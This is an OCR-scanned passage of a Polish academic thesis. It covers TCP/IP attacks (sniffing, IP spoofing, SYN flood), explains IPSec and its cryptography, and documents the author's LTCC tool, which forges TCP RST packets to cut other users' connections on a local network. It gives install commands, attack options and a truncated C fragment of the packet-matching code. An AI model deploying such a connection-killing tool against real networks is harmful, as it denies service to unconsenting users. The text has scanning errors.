Protokoly TCP/IP nieodporne sg na stosowanie nizej wymienionych atakow|[3]:

Sniffing jest to dzialanie majace na celu przechwytanie danych transmitowanych w sieci.
Jest to dziatanie pasywne i co za tym idzie bardzo trudne w wykryciu. Polega to

na wprowadzeniu karty sieciowej w specjalny tryb zwany PROMISC (promiscous
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mode), po ktérym karta sieciowa przekazuje wszystkie otrzymane pakiety do war-
stwy wyzszej. W normalnym trybie przekazywane sa pakiety ktore sa przeznaczone
wytacznie dla tej karty. Identyfikacja adresata odbywa sie za pomoca unikalnego
adresu MAC karty sieciowej'? ktéry jest zapisany w ramce ethernetu w dostarcza-
nym pakiecie. Polaczeniem adresu MAC z adresem IP zajmuje sie protokot ARP
(Adress Resoludion Protocol).

Wytapany w ten sposob pakiet moze by¢ zinterpretowany przez proces warstwy
wyzszej. Atakujacy moze zdoby¢ np. hasta do systemu, korespondencje mailowsa
lub inne wazne informacje. Ze wzgledu na przechwycenie sesji niezbedne beda
informacje zawarte w nagtéwku TCP - mianowicie numery ACK oraz SEQ, jak
rowniez adresy: zrodltowy i docelowy pakietu.

Sniffowanie jest praktycznie niewykrywalne - dopdki nie dochodzi do interakeji
sniffujacej maszyny z siecig. Taka interakcje jednak mozna sprowokowadé i poten-
cjalnie wykazaé, ze na danej maszynie zainstalowany jest program nastuchujgcy!4.
Do wykrycia sniffera dziatajacego w sieci lokalnej mozna uzy¢ techniki arp spo-
offingu. Mozna tez wysta¢ pakiet z wybranym przez siebie adresem nadawcy i
obserwowal pojawiajace sie polaczenia z serwerem DNS, pytajace serwer DNSu
o numer zroédtowy. Istnieja programy do wykrywania snifferow w sieci lokalnej:
neped, AntiSniff

Jak sie przed tym broni¢ 7 Z punktu widzenia uzytkownika stosujac tylko i wytacz-
nie szyfrowana transmisje danych np. protokotem SSL, lub korzysta¢ z protokotu

IPSec.

Spoofing jest to dzialanie majace na celu podszycie sie pod inng jednostke w sieci.

Zaleznie od warstwy zastosowania - istniejg rézne ataki wykorzystujace technike

13 Adres MAC sklada sie z 6 bajtéw, zapisany w pamieci ROM urzadzenia sieciowego. Kazdy pro-
ducent urzadzen sieciowych posiada okreslong pule adreséw MAC, co gwarantuje, ze adresy interfejsow

sieciowych sg unikalne
Mpopularnymi programami do podstuchiwania sa: tcpdump, ethereal, sniffit, snort
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podszycia sie np. DNS spoofing, e-mail spoofing, IP spoofing - ktéry to zostanie
w kilku stowach opisany, ARP spoofing.

IP spoofing polega na sfatszowaniu adresu Zrédtowego w nagtéowku pakietu IP
i wystaniu podrobionego pakietu do ofiary. Dziatanie takie powoduje oszukanie
maszyny, ktéra spodziewa sie danych z oryginalnego zrodta, a dostaje dane pod-
robione. Technika IP spoofingu czesto wykorzystywana jest podczas atakow DoS
(Deny of Service) w postaci floodéw w celu zmylenia ofiary, tudziez zabezpieczen
(firewalli), jakie moga chroni¢ maszyne ofiary. Zrédlo takiego ataku jest trudne

badz praktycznie niemozliwe do wykrycia.

SYN-flood polega na wystaniu duzej liczby pakietéw TCP z ustawiong flagg SYN, w

6.2

ktorych adres nadawcy zostatl zmieniony na numer IP maszyny, ktéra nie istnieje
lub aktualnie nie jest dostepna. W takiej sytuacji zaatakowany serwer odpowiada
na kazdy pakiet SYN poprzez wystanie pakietu SYN-ACK do komputera, ktory w
rzeczywistosci nie istnieje lub nie chce nawigza¢ polaczenia. Serwer nie odrdznia
sfatszowanych pakietéw od legalnych, dlatego przydziela zasoby obliczeniowe i
pamieé niezbedne do obstugi potaczen. Jezeli liczba wystanych pakietéw SYN
bedzie odpowiednio duza, to serwer zapelni swoje tabele (bufory) robocze i nie
bedzie akceptowal nastepnych naptywajacych pakietéw, oczekujac na otwarcie
zainicjowanej komunikacji TCP. Serwer oczekuje na pakiet ACK az do uplywu

ustalonego czasu - timeout.

zalety

dostepno$é - poniewaz protokét TCP/IP stal sie standardem komunikacji sieciowej -

wszystkie systemy z rodziny UNIX (AIX, Irix, HP /UX, Linux, BSD), Windows (9x,

2k, XP), Novell Netware, MacOS, OS/2 maja zaimplementowang jego obstuge.
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otwartosé - dokumentacja znajduje sie w dokumentach RFC

elastycznos¢é - pozwala réwnie skutecznie przenosi¢ dane przez tacza o przepustowosci

9600 bps, jak i kilkusetkrotnie szybsze.

mozliwosé filtracji - kazdy pakiet moze by¢ filtrowany na podstawie jego nagtowka.
Okreslone pakiety moga zosta¢ odrzucone, zablokowane, badz przekazane do okre-
Slonego urzadzenia, co ma znaczenie ze wzgledu na bezpieczenstwo. Programy
stuzace do filtrowania pakietéw: ipfwadm (linux-2.0), ipchains (linux-2.2), ipta-
bles (linux-2.4 - linux-2.6), netfilter (BSD) oraz popularne firewalle w systemach

Windows™: Outpost, Kerio, ZoneAlarm.
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7 Opis i idea dziatlania IPSec

Wykorzystanie internetu w biznesie oraz uczynienie go narzedziem pracy poréwny-
walnym z telefonem czy faksem, wymusito stworzenie mechanizméw zapewniajacych
poufnos¢ oraz bezpieczenstwo potaczen odleglych osrodkéw korzystajacych z publicznej
sieci. Opracowaniem protokotu IPSec[21] w 1992 roku zajelta sie grupa IETF (Internet
Engineering Task Force).

Podstawowymi zadaniami IPSec jest zapewnienie integralnosci oraz poufnosci danych
przesytanych przy pomocy IP. Kolejny cel, zagwarantowanie autentycznosci taczacych
sie stron, jest realizowany do pewnego stopnia przez sam protokét IPSec i moze by¢
rozszerzany przez dodatkowe mechanizmy.

Poprzez zapewnienie integralnosci rozumiemy tutaj mozliwo$¢ wykrycia celowych lub
przypadkowych modyfikacji wprowadzonych do przesytanych danych. Zapewnia to
wprowadzenie kryptograficznych funkcji skrotu, co jest o wiele lepszym rozwigzaniem
od prostych sum kontrolnych protokotéw IP oraz TCP, ktéore gwarantuja wykrycie
uszkodzenia pakietu wynikajacego z niedoskonatosci transmisji, jednak nie sa odporne
na ich celowe spreparowanie.

Poprzez zapewnienie poufnosci rozumiemy tutaj zabezpieczenie danych przed ich
odczytaniem gdy zostana przechwycone przez napastnika. Funkcje ta gwarantuja
algorytmy kroptograficzne zastosowane do szyfrowania przesytanych danych. Osoba nie
posiadajaca klucza nie bedzie w stanie odczytac zaszyfrowanej informacji.

Dzieki enkapsulacji protokotéw - charakterystycznej dla modelu ISO/OSI, IPSec moze
by¢ wykorzystywany do zabezpieczenia protokotéow warstw wyzszych. Poniewaz dziata
w warstwie [P protokotami zabezpieczanymi moga by¢ miedzy innymi TCP, UDP,
BGP...

[PSec dostarcza dwoch protokotéw do zapewnienia bezpieczenstwa transmisji, sg nimi

AH[13] oraz ESP[16].
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Rysunek 6: Enkapsulacja protokotow

Dane

IP

[PSec
i Ethernet, PPP

7.1 AH - Authentication Header

AH dostarcza bezpotaczeniowej integralnosci, uwierzytelniania zrédta danych oraz od-
rzucajace powtoérzone pakiety. Stanowi ochrone enkapsulowanego protokotu warstwu
wyzszej, jak rowniez czesci nagtowka IP. Ochrong obejmowane sg te pola nagtowka, ktore
nie ulegaja zmianie podczas wedrowki przez sie¢ (adresy, identyfikator). Do zapewnienia
integralnosci oraz, w pewnym stopniu, wierzytelnosci stron potaczenia wykorzystywane
sa kryptograficzne funkcje skrétu takie jak MD5, SHA1 czy RIPEMD-160 w tzw. trybie
HMAC. Ten ostatni to wynik obliczenia skrétu przesytanych danych oraz skonfigurowa-

nego hasta, znanego tylko stronom potaczenia.

Rysunek 7: Budowa nagltowka AH

a L5 il
Mexi header | Payload length | Feserved
Security Parameters Index (SP[)
Sequence Mumber Field

Authentication Data (Varable )

Next Header - (nastepny nagltéwek) 8-bitowy numer identyfikujacy nagtéwek nastep-
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nego protokotu umieszczony za AH.

Payload Length - (dtugo$¢ danych) 8-bitowy numer okreslajacy dlugosé danych AH
w 32 bitowych stowach (4 bajty) minus 2.

Reserved - (zarezerwowane) 16 bitoéw, musza by¢ wyzerowane.

Security Payload Index - 32-bitowa wartos¢ zawierajaca identyfikator pozwalajacy
rozrozni¢ potaczenia zmierzajace do tego samego miejsca przeznaczenia, wskazuje

,bezpieczne potaczenie” (security association), ktére ma by¢ zastosowane do tego

pakietu. (SPI)

Sequence Number Field - 32-bitowy identyfikator pozwalajacy realizowa¢ ochrone

przed odtwarzaniem.

Authentication data - zmiennej dtugosci pole zawierajace dane uwierzytelniajace.

7.2 ESP - Encapsulating Security Payload

Rysunek 8: Budowa nagtéwka ESP

0 ] 3l
Sacurity Parameters Index (SPL)
Saquence Mumber Field

Payload Diata

Padding
| Pad length | Mext header
Authe ntication Data (Y arizble )

Security Payload Index - 32-bitowa warto$¢ SPI zawierajaca informacje analogiczne

informacje jak w protokole AH.
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Sequence Number Field - 32-bitowa wartos¢ zawierajaca warto$é¢ licznika. Wartosé

licznika jest zerowana podczas nawigzywania potaczenia.
Payload Data - zmiennej dlugosci pole zawierajace dane opisane przez ,,Next Header”.

Padding - zaleznie od algorytmu kryptograficznego uzytego do ochrony danych pole to
moze zawiera¢ rozne wartosci. Rozmiar pola wynosi 0-255 bajtow. Pole to nie jest

wymagane.

Pad length - 8-bitowy numer informujacy o rozmiarze pola ,,Padding”. Pole to jest
obowigzkowe nawet jesli pole ,Padding” nie wystepuje w pakiecie. ,Pad length”

przyjmuje wtedy wartosé¢ ,,0”.

Next Header - 8-bitowy numer idetyfikujacy typ danych znajdujacych sie w polu ,,Pay-
load Data”.

Authentication data - opcjonalne, zmiennej dtugosci pole zawierajace obliczong war-
tosé ICV (Integrity Check Value) obliczona z pakietu ESP. Dtugosé pola, zasady

porownania oraz walidacji musza by¢ sprecyzowana w przez algorytm identyfikacji.

7.3 Tryby pracy protokotu IPSec
7.3.1 Tryb transportowy (Transport mode)

Tryb transportowy wykorzystuje sie prawie wytacznie w sieciach lokalnych. Spowodo-
wane jest to specyfika protokotu IPSec, wymaga on kolejnosci pakietow do routera.
Kolejnos¢ taka moze by¢ zachwiana gdy pakiet podrozuje réznymi trasami w sieciach
rozlegtych lub poprzez fragmentacje pakietow. W sieciach lokalnych taki problem nie
wystepuje. Dane chronione przez IPSec sa enkapsulowane zaraz za nagltowkiem IP, co

pokazuje zamieszczony nizej schemat.
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Rysunek 9: Enkapsulacja w trybie transportowym.
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Rysunek 10: Enkapsulacja w trybie tunelowym.
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7.3.2 Tryb tunelowy (Tunnel mode)

Tryb tunelowy wykorzystywany jest przede wszystkim do tworzenia bezpiecznych po-
taczen w sieciach rozlegtych. Umieszczone w naglowku IP adresy (znajdujace sie pod
ESP/AH) sa najczedciej adresami routeréw szyfrujacych, taczacych ze soba tworzace
VPN sieci lokalne znajdujace sie w odlegtych lokalizacjach. Enkapsulacja w tym przy-
padku réwniez nagtowka IP powoduje, iz podstuchujacy intruz nie ma nawet mozliwosci
stwierdzenia pomiedzy jakimi maszynami w VPN zachodzi komunikacja.

Informacje na temat zestawionych potaczen znajduja sie w dwoch systemowych bazach

31



danych protokotu IPSec. SAD (Security Association Database) opisuje doktadnie ka-
naly potaczen, hosty poczatkowe i koncowe, algorytmy szyfrowania oraz klucz dla kaz-
dego kanatu. Baza SPD (Security Policy Database) opisuje polityke bezpieczenistwa oraz
umozliwia bardzo elastyczne konfigurowanie potaczenn. Mozna w niej okresli¢ kierunki

szyfrowania danych, adresy hostow, sieci, protokoty, porty.

7.4 Algorytm przetwarzania protokolu IPSec

W momencie gdy do stosu IP/IPSec z warstwy wyzszej trafia przeznaczony do wystania
pakiet zawierajacy dane od hosta A dla hosta B, przeszukiwana jest baza SPD w celu
znalezienia odpowiedniej polityki dla tego pakietu.

Kolejno po podjeciu decyzji o przysztosci danego pakietu przeszukiwana jest baza SAD
w celu sprawdzenia, czy istnieje kanal odpowiadajacy zadanej transmisji. Musi on
mie¢ unikalny numer SPI, skonfigurowany algorytm szyfrujacy, klucz i inne parametry.
Jesli taki kanal istnieje, to pakiet jest nim po prostu wysytany i dane w bazie SAD sa
uaktualniane (licznik bajtéw, pakietéw, wektor inicjalizujacy IV itp)

Po odebraniu pakietu z drugiej strony potaczenia, przeszukiwana jest ponownie baza
SAD w poszukiwaniu informacji na temat kanatu dla ktérego numer SPI jest taki
sam jak odebranego pakietu. Jeéli wpis taki w bazie SAD nie zostanie znaleziony,
pakiet zostanie odrzucony i odpowiednie logi systemowe wygenerowne. Swiadezy¢ to
bedzie o prébie ataku, badz blednej konfiguracji potaczenia. Jesli natomiast kanat
zostanie znaleziony dane opakowane protokotem ESP zostang odszyfrowane za pomoca

znajdujacych sie w bazie informacji na temat algorytmu, klucza.

7.5 Elementy kryptografii w IPSec

Szyfrowanie w protokole ESP odbywa sie poprzez zastosowanie jednego z symetrycznych

algorytmow. Obecnie dokumenty RFC moéwia, ze algorytm DES musi by¢ implemento-
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wany w [Psec, 3DES (Triple DES) powinien, a wiele innych moze.

7.5.1 HMAC

Identyfikacja jest w IPsec wykonywana za pomoca funkcji HMAC (Hashed Message Au-
thentication Code)[13][14]. Nie jest to prosta funkcja haszujaca, ale bardziej ztozona
operacja, krora uzywa jakiego$ algorytmu haszujacego (MD5 lub SHA) oraz klucza.
Zwykta funkcja skrotu mowi, ze dane nie zostaly zmienione podczas transmisji badz
byly zmienione i dla nich zostal wygenerowany nowy skrét. HMAC gwarantuje pew-
nos¢, ze wysytajacy, w odréznieniu od atakujacego, zna klucz, a atakujacy zatem nie
moze wygenerowa¢ nowych danych. Diugosé skrétu HMAC wynosi 96 bitéw (pierwotny

skrét jest obcinany do tej wielkoscei).

7.5.2 Diffie-Hellman

Algorytm uzgadniania klucza Diffiego-Hellmana pozwala dwoém stronom ustali¢ klucz
w taki sposob, ze nawet ten, kto podstuchuje calg komunikacje nie moze ustali¢ jaki to
klucz. Protokot bazuje na problemie dyskretnego logarytmu i z tego powodu jest uwazany
za bezpieczny. Matematycy pracuja nad tym problemem od wielu lat i nie udato im sie
przyblizy¢ do rozwiazania aczkolwiek rowniez nie udowodniono, ze rozwigzanie efektywne

nie istnieje.

7.5.3 RSA

Algorytm zostat opracowany w MIT (Massachussets Institute of Technology) w roku 1977
przez L.R.Rivesta, A.Shamira i L.M.Adlemana. RSA jest szeroko uzywanym kryptosys-
temem klucza publicznego. Bazuje on na trudnosci obliczeniowej faktoryzacji duzych
liczb (obecnie co najmniej 300 miejsc w zapisie w systemie dziesiatkowym). W IPsec
jest uzywany jako jedna z technik do uwierzytelniania bram (hostéw) dla prowadzenia

dalszej negocjacji klucza.
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Algorytmy RSA majace klucz o dtugosci 512 bitéw (lub mniejszej), sa stosunkowo pro-
ste do ztamania. Adi Shamir opracowat w 1999 r. specjalizowany rownolegty komputer
tamigcy 512 bitowe RSA w ciggu 2 dni. Obecnie stosuje sie klucze 1024, 2048 a na-
wet klucze 4096 bitowe praktycznie catkowicie bezpieczne tzn. nie do ztamania przy
wspotczesnym stanie wiedzy o algorytmach komputerowych i przy wspétezesnych moz-

liwosciach obliczeniowych.

7.5.4 DES

DES (Data Encryption Standard) jest symetrycznym algorytmem szyfrujacym, ten sam
klucz jest uzywany do szyfrowania i deszyfrowania. Szczegdltowy opis algorytmu DES
zostal celowo opublikowany. Chodzilo o przekonanie potencjalnych uzytkownikow, ze
bezpieczenstwo metody nie tkwi w tajnosci jej budowy, ale w konstrukcji odpornej na
kryptoanalize. Bowiem kazda metoda, ktorej szczegdly nie zostaly ujawnione, moze w
sobie tzw. tylne drzwi, czyli miejsce w algorytmie, ktére moze by¢ wykorzystane przez
atakujacego znajacego szczegoty algorytmu.

DES szyfruje bloki ztozone z 64 bitéw - 8 bajtow z ktorych kazdy zaopatrzony jest w
bit parzystosci. Klucze sktadaja sie réwniez z 64 bitéow, przy czym 8 bitéw jest bitami
parzystosci. Tak wiec w istocie w trakcie wyboru klucza mozna okresli¢ jedynie 56 bitow,
reszta jest generowana automatycznie.

Doktadny opis algorytmu DES znajduje sie w publikacji [1]. Na poczatku 1997 roku,
firma RSA Data Security ustanowita nagrode w wysokosci 10 000 USD za ztamanie algo-
rytmu DES. Potaczenie wysitku powotanej grupy oraz wolnych mocy 14 000 komputerow
uzytkownikow Internetu, zaowocowato ztamaniem kodu 90-go dnia trwania projektu.
Proby ratowania pozycji DES na rynku poskutkowaly opracowaniem algorytmu 3DES
(Triple-DES, potréjny DES). Dzieki wprowadzeniu operacji trzykrotnego uzycia trzech
roznych kluczy o dtugosci 56 bitoéw, czas na ztamanie zaszyfrowanej wiadomosci wydtuza

sie z kilku dni do bilionéw lat.
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7.5.5 MD5

Algorytm MD5 (Message Digest 5)[7] jest funkcja haszujaca produkujaca z zadanej
wiadomoscei 128-bitowy ,skrét wiadomosci” (message digest). Zaktada sie, ze jest
obliczeniowo niewykonalne wyprodukowanie dwu réznych wiadomosci posiadajacych
ten sam skrot lub wyprodukowanie jakiejkolwiek wiadomo$ci na podstawie zalozonego
skrotu.  Algorytm MD5 jest stosowany w technice podpisu cyfrowego, gdzie duzy
plik powinien by¢ wczesniej skompresowany w bezpieczny sposoéb zanim zostanie
zaszyfrowany kluczem prywatnym.

Opis algorytmu:

1. Doklejenie do haszowanego ciggu bit 1.

2. Uzupetnienie wartosciami ,,0” do 512-bitowych blokéw, i ostatniego niepelnego -

448-bitowego.

3. Doklejenie 64-bitowego (zaczynajac od najmniej znaczacego bitu) licznika ozna-
czajacego rozmiar wiadomosci. W ten sposob otrzymuje sie wiadomos¢ ztozona z

512-bitowych fragmentow.
4. Ustawienie stanu poczatkowego na 0123456789abcdeffedchba9876543210.

5. Uruchomienie na kazdym bloku (jest przynajmniej jeden blok nawet dla pustego
wejécia) funkcje zmieniajaca stan. Funkcja zmiany stanu ma 4 rundy (64 kroki).
Stan jest traktowany jako 4 liczby 32-bitowe, i w kazdym kroku do ktoérejs z tych
liczb dodawany jest jeden z 16 32-bitowych fragmentéw bloku wejsciowego, pewna
stala zalezna od numeru kroku oraz pewna prosta funkcja boolowska 3 pozostatych
liczb. Nastepnie liczba ta jest przesuwana cyklicznie o liczbe bitéw zalezng od

kroku, oraz jest dodawana do niej jedna z pozostatych liczb.
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6. Po przetworzeniu ostatniego bloku zwracony zostaje stan jako wynik funkcji ha-

szujacej.

7.5.6 SHA1

Algorytm SHA (Secure Hash Algorithm) jest kolejna jednokierunkowa funkcja haszujaca
podobnie jak MD5 tworzy skrot wiadomosci o dtugosci 160 bitow poniewaz 128 bitéw
funkcji MD5 zostalo uznane za zbyt mata liczbe. SHA1 rézni sie poza tym postacig

funkcji zmieniajacych stan.

7.5.7 RC4

RC4 — (Rivest’s Cipher) niezwykle szybki algorytm szyfrowania strumieniowego danych
poprzez wykonywanie na nich operacji XOR z wygenerowanymi liczbami pseudoloso-

wymi.

7.6 Automatyzacja - uzycie protokotu IKE

Powodem powstania protokotu automatycznej wymiany kluczy byt fakt, iz reczna konfi-
guracja protokotu IPSec miata sens tylko dla niewielkiej ilosci weztéw. W momencie gdy
polaczone razem zostaje wiele sieci lokalnych konfiguracja staje sie coraz bardziej skom-
plikowana i klopotliwa. Klucze kryptograficzne nalezy co jakis czas wymieniaé, co staje
sie ktopotliwe. Opracowano kilka protokotow umozliwiajacych automatyzacje czynnosci
zwiazanych z zestawianiem bezpiecznych potaczen. IETF (Internet Engeneering Task
Force) wybrato protokét IKE (Internet Key Exchange) jako standard.

IKE buduje sprawdzony, bezpieczny tunel pomiedzy dwoma jednostkami i wtedy nego-
cjuje bezpieczne potaczenie dla IPSec. Proces ten wymaga by kazda jednostka sprawdzita
sie nawzajem i ustanowita wspoélne klucze. IKE sktada sie z dwoch czesci: ISAKMP (In-

ternet Security Association and Key Management Protocol), stanowiacego faktyczny
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protokot negocjacji parametrow IPSec oraz Oakley, bedacego kryptograficznym protoko-

tem wymiany kluczy za pomoca algorytmu Diffie-Hellmana.
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8 wady i zalety stosowania protokotlu IPSec

8.1 wady

e [Psec nie zabezpiecza potaczen end-to-end tak jak to robig protokoty na wyzszych
warstwach. IPsec szyfruje potaczenie IP pomiedzy dwoma maszynami, co nie jest

rownowazne szyfrowaniu wiadomosci pomiedzy uzytkownikami badz aplikacjami.

e [Psec autoryzuje maszyny a nie uzytkownikow. Mechanizmy silnej autoryzacji
stuza do kontrolowania, jakie wiadomosci pochodzg z jakich maszyn. Jezeli jest po-
trzebna kontrola dostepu uzytkownikow nalezy uzy¢ innych mechanizméw (warstw

wyzszych), ktére moga by¢ taczone z IPsec.
e [Psec nie potrafi zapobiegaé¢ atakom DoS (Denial of Service) aczkolwiek moze sku-

tecznie utrudnia¢ mozliwosé ich zajscia.

8.2 zalety

otwartos¢ - dokumentacja zawarta jest w RFC.

bezpieczenstwo - jest to w tym momencie najbezpieczniejsze narzedzie chroniace roz-

legte sieci korporacyjne.

skalowalnos$é - doskonale nadaje sie do tworzenia bezpiecznych potaczen pomiedzy
dwoma maszynami, jak réwniez do taczenia wielu odlegtych od siebie sieci lokal-

nych.

przenosnosé - implementacje potokotu IPSec obecne sg we wszystkich najpopularniej-
szych systemach operacyjnych. IPSec czesto jest implementowany w routerach

hardwareowych (CISCO od 10S-11.3).
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9 Program LTCC - Local TCP Control Center

9.1 Opis programu

LTCC jest prostym linuxowym narzedziem stuzacym ograniczeniu ruchu TCP w lokalnej
sieci a zarazem wykorzystujacym stabo$¢ protokotu TCP. Program jest szczegdlnie
uzyteczny w momencie gdy nie posiadamy dostepu do gatewawya, na ktérym mozna
podzieli¢ dostepne pasmo na wszystkich uzytkownikéw sieci. W takim przypadku jeden
uzytkownik potrafi zaja¢ cale dostepne pasmo na przyktad przez Sciaganie ,ciezkiego”
pliku z odleglej maszyny, co uniemozliwia nam zdalna prace (np. ssh). Kwestie etyczne
zwigzane z atakiem na uzytkownikéw sieci lokalnej odkladam na bok. Zajmijmy sie
technicznym aspektem ataku.

Zalozeniem brzegowym jest fakt niewystepowania w sieci lokalnej przetacznikow
(switch). Switch dzieli sie¢ na segmenty, zapamietuje adresy MAC urzadzen i wysyta
pakiety wytacznie przez te porty, do ktorych podtaczone jest urzadzenie, dla ktorego
pakiet jest przeznaczony. Uniemozliwia to podstuchanie pakietow wychodzacych i
przychodzacych do ,sagsiada”, co jest jedna z podstawowych czynnosci programu
podczas przeprowadzania ataku.

Kolejnym waznym wymogiem programu jest system operacyjny. Program zostal napi-
sany i przetestowany na linuxach 2.2 - 2.4, nie powinno by¢ problemu z uruchomieniem
go na linuxie z serii 2.6. Nie dziata natomiast w rodzinie systeméw BSD oraz innych
systemach UNIXowych. Spowodowane jest to dedykowana obstuga gniazd, program nie
wykorzystuje bibliotek pomocniczych takich jak libpcap.

LTCC musi by¢ zainstalowany i uruchomiony w systemie linux przez uzytkownika, ktéry
posiada prawa administratora (roota) w tym systemie. Spowodowane jest to polityka
bezpieczenstwa systemu linux, a doktadnie dotyczy uprawnien niezbednych do otwarcia
gniazda w trybie surowym (raw mode). Niedopuszczalnym bytoby przeciez, zeby kazdy

uzytkownik systemu miat mozliwo$¢ podstuchiwania.

39



9.1.1 Imstalacja LTCC

Program dostepny jest na mojej stronie WWW pod adresem:
http://prokop.adfinem.net /projects/ltcc.html
Nalezy $ciagna¢ na dysk lokalny najnowsza wersje (w chwili obecnej jest to plik:

ltce-1.0.2.tar.gz) oraz rozpakowaé poleceniem:

tar -zxvf ltce-1.0.2.tar.gz
zmieni¢ katalog biezacy na katalog ze zrédtami programu:
cd Itee-1.0.2
kolejno nalezy go skompilowaé¢ poleceniem:
make
oraz zainstalowa¢ do katalogéw systemowych:
make install
jezeli zajdzie potrzeba odinstalowania programu z systemu, nalezy wykonaé polecenie:
make remove

wowcezas utworzone podczas instalacji pliki zostang usuniete z systemu.

9.1.2 Uruchomienie oraz opcje ltcc

Informacje na temat ataku podaje si¢ w parametrach wywotania programu, ktére mozna
zobaczy¢ uruchamiajac program bez zadnych opcji:
Dokumentacja programu, spis oraz opis wszystkich opcji znajduje sie w manualu. W

celu otworzenia pliku manuala nalezy wydaé¢ komende:
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Rysunek 11: Przyktad uruchomienia programu bez parametréw - lista opcji
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Podobnie jak wiekszos¢ programéw LTCC posiada dwa rodzaje opcji, czes¢ z nich

wymaga podania dodatkowego parametru, czes¢ wystepuje samodzielnie.

-I (Interactive mode) tryb interaktywny, jest to tryb z bardziej przyjaznym interfejsem
oraz menu w gornej czesci ekranu. Umozliwia wy$wietlenie oraz nawigacje pomie-
dzy aktualnymi potaczeniami w sieci lokalnej. Opcja nie wymaga dodatkowych

argumentow.
-h (help) wyswietla pomoc dotyczaca dostepnych opcji

-w (wait) powoduje, ze podczas zrywania zdalnego potaczenia program nie uruchamia
dodatkowego procesu (nie uzywa funkeji fork()) tylko czeka az funkcja zrywania

zakonczy dziatanie. Czas dziatania (nastuchiwania oraz reakcji na wychwycone
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pakiety) ustalany jest przez parametr opcji -k. Opcja nie wymaga dodatkowych

argumentow.

-v (verbose mode) program wyswietla bogata informacje na temat tego co w danej chwili

robi. Opcja nie wymaga dodatkowego parametru.

-i (interface) jako parametr tej opcji nalezy podaé interfejs sieciowy, na ktérym program

ma dziata¢. Domyslnie jest to ethO.

-b (broadcast) jako parametr tej opcji nalezy podaé adres broadcast dla sieci, w ktérej
program ma dziata¢. Opcja ta umozliwia dziatanie programu w takiej sytuacji,
gdy w jednej sieci fizycznej istniejg dwie lub wiecej sieci logicznych posiadajacych

adresy obok siebie. Domys$lnie wartos¢ ta jest odczytywana z interfejsu sieciowego.

-m (netmask) jako parametr tej opcji nalezy podaé¢ maske sieci. Domys$lnie maska od-

czytywana jest z interfejsu sieciowego.

-1 (level) jedna z najwazniejszych opcji programu dotyczaca poziomu razenia. Opcja ta

przyjmuje jedna z pieciu wartosci z przedziatu 0-4:
0 - adres zrédtowy IP oraz port, adres docelowy IP oraz port musza sie zgadzac,
zeby uruchomiona zostata procedura ataku.

1 - adres zrodtowy IP, adres docelowy IP oraz port muszg sie zgadza¢. Atak ten
powoduje uniemozliwienie ofierze taczenia sie z okreélong ustuga znajdujaca

sie na okreslonym hoscie.

2 - adres zrodlowy i docelowy IP musza sie zgadza¢. Atak ten powoduje uniemoz-

liwienie ofierze taczenia sie ze zdalnym hostem.

3 - adres zrodtowy oraz port docelowy musi sie zgadza¢. Atak ten powoduje najcze-

Sciej zablokowanie ofierze dostepu do jakiejs zdalnej ustugi (np smtp, www).
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4 - tylko adres zrodtowy musi sie zgadza¢. Atak ten powoduje uniemozliwienie
ofierze jakiejkolwiek komunikacji sieciowej protokotem TCP. Poziom czwarty

generuje sporo ruchu w sieci lokalne;j.

-k - (kill timeout) parametr tej opcji okresla w sekundach czas trwania ataku, a do-
ktadniej czas zycia procesu zajmujacego sie nastuchiwaniem oraz wysytaniem spre-
parowanych nagtéwkéw TCP/IP z ustawiona flaga RST. Domyslna wartoscia jest
10 sekund. Podanie 0 rownoznaczne jest brakiem czasowych limitow ataku. Atak

nastepowal bedzie az do momentu ,ubicia” go sygnalem SIGKILL (kill -9).

-s - (sniff timeout) parametr uzyteczny tylko w trybie interaktywnym, umozliwia usta-
wienie czasu sniffowania aktywnych potaczen w sieci. Domyslna warto$é¢ to 10

sekund.

-S - (source address) adres zrédlowy IP.
-p - (source port) port zrodtowy.
-D - (destination address) adres docelowy IP.
-P - (destination port) port docelowy.

W trybie interaktywnym mozna uzywac nastepujacych polecen:
A wyszukiwanie aktywnych polgczen w sieci.
K uruchomienie procedury zrywajacej aktualnie wybrane potaczenie.
L ustalenie poziomu zrywania (patrz opcja -1).
S ustalenie czasu sniffowania (patrz opcja -s).

T ustalenie czasu trwania procedury zrywajacej (patrz opcja -t).
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9.1.3 Lista plikéw w archiwum

CHANGELOG plik, w ktorym sg opisane zmiany w programie w stosunku do wersji

poprzednich.
README plik zawiera informacje na temat programu oraz instalacji.

TODO plik zawiera spis modyfikacji jakie sg planowane w przysztych wersjach pro-

gramu.
Makefile plik zawierajacy polecenia kompilacji programu.

disp.cpp plik zawierajacy definicje funkcji uzywanych podczas wyswietlania w trybie

interaktywnym.

disp.h plik zawierajacy deklaracje funkcji uzywanych podczas wyswietlania w trybie

interaktywnym.

global.h plik zawierajacy dyrektywy preprocesora dotyczace ustawien ekranu w trybie

interaktywnym.
ltcc.8 plik pomocy (manuala).
ltcc.cpp gtéwny plik programu.
tcpce.cpp plik zawierajacy definicje funkcji uzywanych podczas zrywania potaczenia.
tcpce.h plik zawierajacy deklaracje funkcji uzywanych podczas zrywania potaczenia.
term.cpp plik zawierajacy definicje funkcji obstugujacych terminal.

term.h plik zawierajacy deklaracje funkcji obstugujacych terminal.
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9.1.4 Fragmenty kodu realizujace zasadniczg cze$é ataku

W pliku tcpee.cpp znajduja sie funkcje rozpoznajace odebrany pakiet oraz preparujace
pakiet, ktéry zostanie wystany do ofiary z ustawiong flaga RST. Sa to najciekawsze

miejsca w programie:

while (stop==0) <
bzero(packet, MAXPACKET);
n=recv(sockfd, recvbuf, sizeof(recvbuf), 0); // oczekuje na pakiet
kill_ip = (struct iphdr *) (recvbuf + 0xOe );
// Oxe <- dlugosc naglowka ethernetu.
kill_tcp = (struct tcphdr *) (recvbuf + 0xOe + sizeof (xkill_ip));
switch(level) {// checking kill level
case 0: // lowest kill strange all must match
if ((dst_port==kill_tcp->dest) &&
(src==kill_ip->saddr) &&
(dst==kill_ip->daddr) &&
(src_port==kill_tcp->source) &&
(kill_tcp->rst==0)) ok=1;
break;
case 1: // no need for source port matching
if ((dst_port==kill_tcp->dest) &&
(src==kill_ip->saddr) &&
(dst==kill_ip->daddr) &&
(kill_tcp->rst==0))
ok=1;
break;
case 2: // no need for source and dest port matching

if ((src==kill_ip->saddr) &&
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(dst==kill_ip->daddr) &&
(kill_tcp->rst==0)) ok=1;
break;
case 3: //no need source port and destination ip
if ((src==kill_ip->saddr) &&
(dst_port==kill_tcp->dest) &&
(kill_tcp->rst==0)) ok=1;
dst_addr.s_addr=kill_ip->daddr;
break;
case 4: // check only whether source ip match
if ((src==kill_ip->saddr) &&
